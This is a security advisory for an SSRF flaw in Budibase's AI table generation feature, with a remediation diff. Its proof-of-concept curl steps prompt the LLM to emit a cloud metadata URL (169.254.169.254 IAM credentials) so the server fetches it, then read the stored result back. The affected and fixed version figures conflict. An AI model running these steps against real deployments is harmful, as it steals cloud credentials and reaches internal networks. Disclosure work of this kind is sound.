Budibase: SSRF via bare fetch() in uploadUrl during AI table generation — @budibase / server
Server-Side Request Forgery (SSRF)Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Summary
The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).
A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.
This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.
Affected Versions
<= 3.39.0 (current lerna.json version at time of analysis)
Vulnerability Details
Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
const res = await fetch(url) // No blacklist validation
This is called from:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
entry: Record<string, any>,
attachmentColumns: FieldSchema[]
) {
function processAttachment(value: any) {
if (typeof value === "object") {
return uploadFile(value)
}
return uploadUrl(value) // String values treated as URLs, fetched without protection
}
Which is triggered via generateRows() at line 34:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
await processAttachments(entry, attachmentColumns)
Compare with correct sibling: processUrlFile() in extract.ts
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
fileUrl: string,
fileType: SupportedFileType,
llm: LLMResponse
): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist
The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:
// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
url: string,
request: RequestInit = {}
): Promise<Response> {
const maxRedirects = 5
let nextUrl = url
// ...
for (let redirects = 0; redirects <= maxRedirects; redirects++) {
await throwIfBlacklisted(nextUrl) // Validates against private IP ranges
const response = await fetch(nextUrl, nextRequest)
Proof of Concept
Prerequisites: Builder-level authentication, AI feature enabled on the instance.
# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"password123"}' \
-c - | grep budibase:auth | awk '{print $NF}')
# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx" # Use existing app
# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
-H "Content-Type: application/json" \
-H "Cookie: budibase:auth=$TOKEN" \
-d '{
"prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}'
# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.
# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
-H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content
Impact
- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
- Internal service enumeration and data exfiltration from private network resources
- Port scanning of internal infrastructure via timing/error differences
- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC
Suggested Remediation
Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():
// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"
import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"
// ...
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
- const res = await fetch(url)
+ const res = await fetchWithBlacklist(url)
const extension = [...res.url.split(".")].pop()!.split("?")[0]
| Software | From | Fixed in |
|---|---|---|
@budibase / server
|
- | 3.38.1.x |
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